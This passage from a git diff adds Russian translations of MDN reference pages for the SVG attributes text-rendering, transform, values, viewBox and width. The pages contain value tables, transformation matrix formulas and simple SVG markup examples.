+   <th scope="row">Категория</th>
+   <td>Presentation attribute</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong title="this is the default value">auto</strong> | optimizeSpeed | optimizeLegibility | geometricPrecision | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/painting.html#TextRenderingProperty" title="http://www.w3.org/TR/SVG/painting.html#TextRenderingProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+<dl>
+ <dt>
+  auto</dt>
+ <dd>
+  Указывает на то, что браузер должен внести соответствующие компромиссы, чтобы сбалансировать скорость рендеринга, читаемость (разборчивость текста) и геометрическую точность, но читаемости уделять более пристальное внимание, чем скорости и геометрической точности.</dd>
+ <dt>
+  optimizeSpeed</dt>
+ <dd>
+  Указывает на то, что браузер должен акцентироваться на скорость рендеринга, в ущерб читаемости и геометрической точности. Эту опцию также можно указывать,, чтобы отключить сглаживание (anti-aliasing) текста.</dd>
+ <dt>
+  optimizeLegibility</dt>
+ <dd>
+  Указывает на то, что браузер должен попытаться акцентировать на читаемости текста, в ущерб скорости рендеринга и геометрической точности. Браузеры часто применяю к тексту сглаживание (anti-aliasing) или встроенные в шрифт хинтинг, или оба способа сразу, чтобы сделать наилучшую читаемость текста.</dd>
+ <dt>
+  geometricPrecision</dt>
+ <dd>
+  Указывает на то, что браузер должен акцентировать геометрическую точность в ущерб читаемости и скорости рендеринга. Эта опция обычно используется, чтобы отключить использование хинтинга таким образом, чтобы контуры символов рисовались согласно геометрической точности отрисовки заложенных данных.</dd>
+</dl>
+<h2 id="Пример">Пример</h2>
+<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;svg xmlns="http://www.w3.org/2000/svg"
+   version="1.1" width="660" height="40"
+   text-rendering="optimizeLegibility"&gt;
+  &lt;link xmlns="http://www.w3.org/1999/xhtml" href='http://fonts.googleapis.com/css?family=Sofadi+One' rel='stylesheet' type='text/css' /&gt;
+  &lt;style&gt;
+      text {font: 30px 'Sofadi One', cursive;}
+  &lt;/style&gt;
+  &lt;g&gt;
+    &lt;text y="30"&gt;The quick brown fox jumps over the lazy dog.&lt;/text&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+<p><strong>optimizeLegibility (первая) и geometricPrecision (вторая)</strong><br>
+ <img alt="text-rendering=optimizeLegibility" height="13" src="http://download.g63.ru/svg/text-rendering-optimizeLegibility.svg" width="211"><br>
+ <img alt="text-rendering=geometricPrecision" height="13" src="http://download.g63.ru/svg/text-rendering-geometricPrecision.svg" width="211"></p>
+<p>Аналогичным образом действует {{ cssxref("text-rendering","CSS text-rendering") }}</p>
+<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;svg xmlns="http://www.w3.org/2000/svg"
+   version="1.1" width="660" height="40"&gt;
+  &lt;link xmlns="http://www.w3.org/1999/xhtml" href='http://fonts.googleapis.com/css?family=Sofadi+One' rel='stylesheet' type='text/css' /&gt;
+  &lt;style&gt;
+      text {
+            font: 30px 'Sofadi One', cursive;
+            text-rendering:optimizeLegibility;
+         }
+  &lt;/style&gt;
+  &lt;g&gt;
+    &lt;text y="30"&gt;The quick brown fox jumps over the lazy dog.&lt;/text&gt;
+  &lt;/g&gt;
+&lt;/svg&gt;</pre>
+<h2 id="Elements">Elements</h2>
+<p>The following elements can use the <code>text-rendering</code> attribute</p>
+<ul>
+ <li>{{ SVGElement("text") }}</li>
+</ul>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li>{{ cssxref("text-rendering","CSS text-rendering") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/transform/index.html b/files/ru/web/svg/attribute/transform/index.html
new file mode 100644
index 0000000000..c202361239
--- /dev/null
+++ b/files/ru/web/svg/attribute/transform/index.html
@@ -0,0 +1,121 @@
+---
+title: transform
+slug: Web/SVG/Attribute/transform
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/transform
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p>В атрибуте <code>transform</code> перечисляются описания преобразований, применяемых как к самому элементу, так и к его последователям. Описания в списке разделяются пробелами или запятыми и применяются в порядке слева направо.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категории</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong title="значение по умолчанию">&lt;transform-list&gt;</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимация</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативная база</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/coords.html#TransformAttribute" title="http://www.w3.org/TR/SVG/coords.html#TransformAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Типы_преобразований">Типы преобразований</h3>
+
+<dl>
+ <dt>matrix(&lt;a&gt; &lt;b&gt; &lt;c&gt; &lt;d&gt; &lt;e&gt; &lt;f&gt;)</dt>
+ <dd>Преобразование с использованием матрицы из шести элементов. Преобразование <code>matrix(a,b,c,d,e,f)</code> равнозначно применению матрицы <math display="block"><semantics><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><annotation encoding="TeX">\begin{pmatrix} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{pmatrix}</annotation></semantics>,</math> которая отображает координаты из новой системы координат в предыдущую систему координат используя следующие формулы: <math display="block"><semantics><mrow><mrow><mo>(</mo><mtable><mtr><mtd><msub><mi>x</mi><mi>пред.</mi></msub></mtd></mtr><mtr><mtd><msub><mi>y</mi><mi>пред.</mi></msub></mtd></mtr><mtr><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><mo>=</mo><mrow><mo>(</mo><mtable><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><mrow><mo>(</mo><mtable><mtr><mtd><msub><mi>x</mi><mstyle><mi>нов.</mi></mstyle></msub></mtd></mtr><mtr><mtd><msub><mi>y</mi><mi>нов.</mi></msub></mtd></mtr><mtr><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><mo>=</mo><mrow><mo>(</mo><mtable><mtr><mtd><mi>a</mi><msub><mi>x</mi><mi>нов.</mi></msub><mo>+</mo><mi>c</mi><msub><mi>y</mi><mi>нов.</mi></msub><mo>+</mo><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi><msub><mi>x</mi><mi>нов.</mi></msub><mo>+</mo><mi>d</mi><msub><mi>y</mi><mi>нов.</mi></msub><mo>+</mo><mi>f</mi></mtd></mtr><mtr><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow></mrow><annotation encoding="TeX"> \begin{pmatrix} x_{\mathrm{пред.}} \\ y_{\mathrm{пред.}} \\ 1 \end{pmatrix} = \begin{pmatrix} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{pmatrix} \begin{pmatrix} x_{\mathrm{нов.}} \\ y_{\mathrm{нов.}} \\ 1 \end{pmatrix} = \begin{pmatrix} a x_{\mathrm{нов.}} + c y_{\mathrm{нов.}} + e \\ b x_{\mathrm{нов.}} + d y_{\mathrm{нов.}} + f \\ 1 \end{pmatrix} </annotation></semantics></math></dd>
+ <dt>translate(&lt;x&gt; [&lt;y&gt;])</dt>
+ <dd>Перенос по осям <code>x</code> и <code>y</code>. Равнозначно <code>matrix(1 0 0 1 x y)</code>. Если значение <code>y</code> опущено, оно принимается равным нулю.</dd>
+ <dt>scale(&lt;x&gt; [&lt;y&gt;])</dt>
+ <dd>Масштабирование по осям <code>x</code> и <code>y</code>. Равнозначно <code>matrix(x 0 0 y 0 0)</code>. Если значение <code>y</code> опущено, оно принимается равным <code>x</code>.</dd>
+ <dt>rotate(&lt;a&gt; [&lt;x&gt; &lt;y&gt;])</dt>
+ <dd>Поворот на <code>a</code> градусов вокруг указанной точки. Если необязательные параметры <code>x</code> и <code>y</code> опущены, поворот будет осуществляться вокруг начала координат текущей пользовательской системы координат. Операция соответствует матрице <math display="block"><semantics><mrow><mo>(</mo><mtable><mtr><mtd><mo>cos</mo><mi>a</mi></mtd><mtd><mo>-</mo><mo>sin</mo><mi>a</mi></mtd><mtd><mn>0</mn></mtd></mtr><mtr><mtd><mo>sin</mo><mi>a</mi></mtd><mtd><mo>cos</mo><mi>a</mi></mtd><mtd><mn>0</mn></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><annotation encoding="TeX">\begin{pmatrix} \cos a &amp; -\sin a &amp; 0 \\ \sin a &amp; \cos a &amp; 0 \\ 0 &amp; 0 &amp; 1 \end{pmatrix}</annotation></semantics></math> Если необязательные параметры <code>x</code> и <code>y</code> присутствуют, поворот будет осуществляться вокруг точки <code>(x, y)</code>. Операция равнозначна следующему списку преобразований: <code>translate(&lt;x&gt;, &lt;y&gt;) rotate(&lt;a&gt;) translate(-&lt;x&gt;, -&lt;y&gt;)</code>.</dd>
+ <dt>skewX(&lt;a&gt;)</dt>
+ <dd>Наклон относительно оси <code>x</code> на <code>a</code> градусов. Операция соответствует матрице <math display="block"><semantics><mrow><mo>(</mo><mtable><mtr><mtd><mn>1</mn></mtd><mtd><mo>tg</mo><mi>a</mi></mtd><mtd><mn>0</mn></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd><mtd><mn>0</mn></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><annotation encoding="TeX">\begin{pmatrix} 1 &amp; \tan(a) &amp; 0 \\ 0 &amp; 1 &amp; 0 \\ 0 &amp; 0 &amp; 1 \end{pmatrix}</annotation></semantics></math></dd>
+ <dt>skewY(&lt;a&gt;)</dt>
+ <dd>Наклон относительно оси <code>y</code> на <code>a</code> градусов. Операция соответствует матрице <math display="block"><semantics><mrow><mo>(</mo><mtable><mtr><mtd><mn>1</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd></mtr><mtr><mtd><mo>tg</mo><mi>a</mi></mtd><mtd><mn>1</mn></mtd><mtd><mn>0</mn></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><annotation encoding="TeX"> \begin{pmatrix} 1 &amp; 0 &amp; 0 \\ \tan(a) &amp; 1 &amp; 0 \\ 0 &amp; 0 &amp; 1 \end{pmatrix} </annotation></semantics></math></dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Поворот_и_перенос_SVG-элемента">Поворот и перенос SVG-элемента</h3>
+
+<p>В этом простом примере мы поворачиваем и переносим SVG-элемент, используя атрибут <code>transform</code>. Первоначальный элемент до преобразования показан полупрозрачным.</p>
+
+<p>CSS (необязательный):</p>
+
+<pre class="brush: css">text {
+  font: 1em sans-serif;
+}</pre>
+
+<p>SVG:</p>
+
+<pre class="brush: html">&lt;svg width="180" height="200"
+  xmlns="http://www.w3.org/2000/svg"
+  xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+  &lt;!-- Это элемент до применения переноса и поворота --&gt;
+  &lt;rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2"<strong> </strong>fill-opacity=0.2 stroke-opacity=0.2&gt;&lt;/rect&gt;
+
+  &lt;!-- Здесь мы добавим текстовый элемент, повернем и перенесем оба элемента --&gt;
+  &lt;rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2"<strong> transform="translate(30) rotate(45 50 50)"</strong>&gt;&lt;/rect&gt;
+  &lt;text x="60" y="105" <strong>transform="translate(30) rotate(45 50 50)"</strong>&gt; Hello Moz! &lt;/text&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Rotating_and_Translating_an_SVG_element",200,200,"/files/5217/rotate_and_translate_svg.png.png")}}</p>
+
+<h3 id="General_Transformation" name="General_Transformation">Общее преобразование</h3>
+
+<p>Вот простой пример, чтобы понять общее преобразование. Мы рассмотрим матрицу преобразования <code>matrix(1,2,3,4,5,6)</code> и нарисуем жирную синюю линию из точки (10,20) в точку (30,40) в новой системе координат. Тонкая белая линия, проходящая через те же точки, нарисована над нею, используя первоначальную систему координат.</p>
+
+<pre class="brush: html">&lt;svg width="160" height="230" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;g transform="matrix(1,2,3,4,5,6)"&gt;
+    &lt;!-- Новая система координат (жирная синяя линия)
+         x1 = 10 | x2 = 30
+         y1 = 20 | y2 = 40
+      --&gt;
+    &lt;line x1="10" y1="20" x2="30" y2="40" style="stroke-width: 10px; stroke: blue;"/&gt;
+  &lt;/g&gt;
+
+  &lt;!-- Предыдущая система координат (тонкая белая линия)
+       x1 = 1 * 10 + 3 * 20 + 5 = 75  | x2 = 1 * 30 + 3 * 40 + 5 = 155
+       y1 = 2 * 10 + 4 * 20 + 6 = 106 | y2 = 2 * 30 + 4 * 40 + 6 = 226
+    --&gt;
+  &lt;line x1="75" y1="106" x2="155" y2="226" style="stroke-width: 1px; stroke: white;"/&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('General_Transformation','200px','250px') }}</p>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>transform</code>:</p>
+
+<ul>
+ <li>{{ SVGElement("a") }}</li>
+ <li>{{ SVGElement("clipPath") }}</li>
+ <li>{{ SVGElement("defs") }}</li>
+ <li>{{ SVGElement("foreignObject") }}</li>
+ <li>{{ SVGElement("g") }}</li>
+ <li>{{ SVGElement("switch") }}</li>
+ <li>{{ SVGElement("use") }}</li>
+ <li><a href="/en/SVG/Element#Graphics" title="en/SVG/Element#Graphics">Графические элементы</a> »</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/values/index.html b/files/ru/web/svg/attribute/values/index.html
new file mode 100644
index 0000000000..72929084aa
--- /dev/null
+++ b/files/ru/web/svg/attribute/values/index.html
@@ -0,0 +1,86 @@
+---
+title: values
+slug: Web/SVG/Attribute/values
+translation_of: Web/SVG/Attribute/values
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>Атрибут <code>values</code> имеет два значения в зависимости от используемого контекста.</p>
+
+<p>Для элементов анимации атрибут <code>values</code> представляет собой разделенный точками с запятой список одного или нескольких значений. В анимации будут применены значения в порядке следования анимации. Если задан список <code>values</code>, значения атрибутов {{ SVGAttr("from") }}, {{ SVGAttr("to") }} и {{ SVGAttr("by") }} игнорируются.</p>
+
+<p>Для элемента {{ SVGElement("feColorMatrix") }} содержимое <code>values</code> зависит от значения атрибута {{ SVGAttr("type") }}:</p>
+
+<ul>
+ <li>Для <code>type="matrix"</code>, <code>values</code> — это список из 20 значений матрицы (А00 А01 А02 А03 А04 A10 А11... А34), разделенных пробелами и/или запятой.</li>
+ <li>Для <code>type="saturate"</code>, <code>values</code> — это единственное вещественное число (от 0 до 1).</li>
+ <li>Для <code>type="hueRotate"</code>, <code>values</code> — это одно вещественное число (градусов).</li>
+ <li>Для <code>type="luminanceToAlpha"</code>, <code>values</code> не применимы.</li>
+</ul>
+
+<p>Если атрибут не указан, то поведение по умолчанию зависит от значения атрибута {{SVGAttr("type")}}.</p>
+
+<ul>
+ <li>Если <code>type="matrix"</code>, этот атрибут по умолчанию присваивается матрице идентификаторов.</li>
+ <li>Если <code>type="saturate"</code>, то этот атрибут по умолчанию присваивает значение 1, что приводит к получению матрицы идентификаторов.<br>
+  Если <code>type="hueRotate"</code>, то этот атрибут по умолчанию присваивает значение 0, что приводит к получению матрицы идентификаторов.</li>
+</ul>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<h3 id="For_animation_elements">For animation elements</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td>Animation value attribute</td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td>&lt;list&gt;</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#ValuesAttribute" title="http://www.w3.org/TR/SVG11/animate.html#ValuesAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="For_the_SVGElement(feColorMatrix)_element">For the {{ SVGElement("feColorMatrix") }} element</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td><em>None</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td>&lt;list&gt; | <a href="/en/SVG/Content_type#Number" title="en/SVG/Content_type#Paint">&lt;number&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feColorMatrixValuesAttribute" title="http://www.w3.org/TR/SVG11/filters.html#feColorMatrixValuesAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<h2 id="Elements">Elements</h2>
+
+<p>The following elements can use the <code>values</code> attribute</p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Animation" title="en/SVG/Element#Animation">Animation elements</a> »</li>
+ <li>{{ SVGElement("feColorMatrix") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/viewbox/index.html b/files/ru/web/svg/attribute/viewbox/index.html
new file mode 100644
index 0000000000..ed94188d1f
--- /dev/null
+++ b/files/ru/web/svg/attribute/viewbox/index.html
@@ -0,0 +1,191 @@
+---
+title: viewBox
+slug: Web/SVG/Attribute/viewBox
+tags:
+  - SVG
+translation_of: Web/SVG/Attribute/viewBox
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Аттрибут </span></font>viewBox</code> определяет расположение и размеры окна отображения SVG.</p>
+
+<p>Значение атрибута <code>viewBox</code> — это набор четырех чисел: <code>min-x</code>, <code>min-y</code>, <code>width</code> и <code>height</code>, — разделённых пробелами и/или запятой, которые задают прямоугольник в пользовательском пространстве, стороны которого определяют границы окна отображения элемента SVG (не <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Viewport">браузера</a>).</p>
+
+<div class="hidden">
+<pre class="notranslate">html, body, svg {
+  height:100%
+}
+
+svg:not(:root) {
+  display: inline-block;
+}</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!--
+  С относительными единицами, такими как проценты,
+  размер квадрата не меняется в зависимости от
+  значения viewBox
+  --&gt;
+  &lt;rect x="0" y="0" width="100%" height="100%"/&gt;
+
+  &lt;!--
+  При больших значениях viewBox круг получается
+  маленьким, потому что его радиус указан в абсолютных
+  единицах: расстояние 4 получается маленьким относительно
+  размера окна 100, указанного во viewBox
+  --&gt;
+  &lt;circle cx="50%" cy="50%" r="4" fill="white"/&gt;
+&lt;/svg&gt;
+
+&lt;svg viewBox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Также не зависит от viewBox, как и в предыдущем примере --&gt;
+  &lt;rect x="0" y="0" width="100%" height="100%"/&gt;
+
+  &lt;!--
+  С маленьким значением размера viewBox круг получается
+  большим, потому что радиус 4 намного больше, если размер
+  области отображения равен 10, чем если он равен 100
+  --&gt;
+  &lt;circle cx="50%" cy="50%" r="4" fill="white"/&gt;
+&lt;/svg&gt;
+
+&lt;svg viewBox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!--
+  Точка с координатами (0, 0) теперь является центром области
+  отображения. 100% всё ещё приравнивается к полному размеру
+  области отображения (10 на 10), поэтому квадрат выглядит
+  сдвинутым в правый нижний угол
+  --&gt;
+  &lt;rect x="0" y="0" width="100%" height="100%"/&gt;
+
+  &lt;!--
+  Так как точка (0, 0) находится в центре, а координаты круга,
+  равные 50%, относительно размера области отображения (10 на 10)
+  принимаются равными 5, круг оказывается с центром
+  в правом нижнем углу
+  --&gt;
+  &lt;circle cx="50%" cy="50%" r="4" fill="white"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+
+<p>На отображение с <code>viewBox</code> также влияет атрибут {{ SVGAttr("preserveAspectRatio") }}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание: </strong>при значениях <code>width</code> и <code>height</code> меньших или равных <code>0</code> элемент не отображается</p>
+</div>
+
+<p><br>
+ Пять элементов используют этот атрибут: {{SVGElement("marker")}}, {{SVGElement("pattern")}}, {{ SVGElement("svg") }}, {{ SVGElement("symbol") }} и {{ SVGElement("view") }}.</p>
+
+<h2 id="marker">marker</h2>
+
+<p>Для элемента {{SVGElement('marker')}}, <code>viewBox</code> определяет расположение и размеры содержимого элемента <code>&lt;marker&gt;</code>.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><em>нет</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемое</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="pattern">pattern</h2>
+
+<p>Для элемента {{SVGElement('pattern')}}, <code>viewBox</code> определеяет расположение и размеры содержимого шаблона.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><em>нет</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемое</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="svg">svg</h2>
+
+<p>Для элемента {{SVGElement('svg')}}, <code>viewBox</code> определяет расположение и размеры содержимого элемента <code>&lt;svg&gt;</code>.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><em>нет</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемое</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="symbol">symbol</h2>
+
+<p>Для элемента {{SVGElement('symbol')}}, <code>viewBox</code> определяет расположение и размеры содержимого элемента <code>&lt;symbol&gt;</code>.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><em>нет</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемое</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="view">view</h2>
+
+<p>Для элемента {{SVGElement('view')}}, <code>viewBox</code> определяет расположение и размеры содержимого элемента <code>&lt;view&gt;</code>.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong>?, <strong><a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><em>нет</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемое</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en/SVG/Tutorial/Positions" title="https://developer.mozilla.org/en/SVG/Tutorial/Positions">SVG Getting Started: Positions</a></li>
+</ul>
diff --git a/files/ru/web/svg/attribute/width/index.html b/files/ru/web/svg/attribute/width/index.html
new file mode 100644
index 0000000000..30e0e0df21
--- /dev/null
+++ b/files/ru/web/svg/attribute/width/index.html
@@ -0,0 +1,648 @@
+---
+title: Ширина
+slug: Web/SVG/Attribute/width
+tags:
+  - ширина
+translation_of: Web/SVG/Attribute/width
+---
+<div>{{SVGRef}}</div>
+
+<p>Атрибут <strong><code>width</code></strong> определяет горизонтальный размер элементов в пользовательской системе координат.</p>
+
+<p>Двадцать пять элементов используют эти атрибуты: {{SVGElement('feBlend')}}, {{SVGElement('feColorMatrix')}}, {{SVGElement('feComponentTransfer')}}, {{SVGElement('feComposite')}}, {{SVGElement('feConvolveMatrix')}}, {{SVGElement('feDiffuseLighting')}}, {{SVGElement('feDisplacementMap')}}, {{SVGElement('feDropShadow')}}, {{SVGElement('feFlood')}}, {{SVGElement('feGaussianBlur')}}, {{SVGElement('feImage')}}, {{SVGElement('feMerge')}}, {{SVGElement('feMorphology')}}, {{SVGElement('feOffset')}}, {{SVGElement('feSpecularLighting')}}, {{SVGElement('feTile')}}, {{SVGElement('feTurbulence')}}, {{SVGElement('filter')}}, {{SVGElement('foreignObject')}}, {{SVGElement('image')}}, {{SVGElement('mask')}}, {{SVGElement('pattern')}}, {{SVGElement('rect')}}, {{SVGElement('svg')}}, and {{SVGElement('use')}}</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- С шириной равной 0 или меньше, ничего не будет отображаться --&gt;
+  &lt;rect x="0" y="0" width="0" height="90"/&gt;
+  &lt;rect x="0" y="100" width="60" height="90"/&gt;
+  &lt;rect x="0" y="200" width="100%" height="90"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="feBlend">feBlend</h2>
+
+<p>Для {{SVGElement('feBlend')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feColorMatrix">feColorMatrix</h2>
+
+<p>Для {{SVGElement('feColorMatrix')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
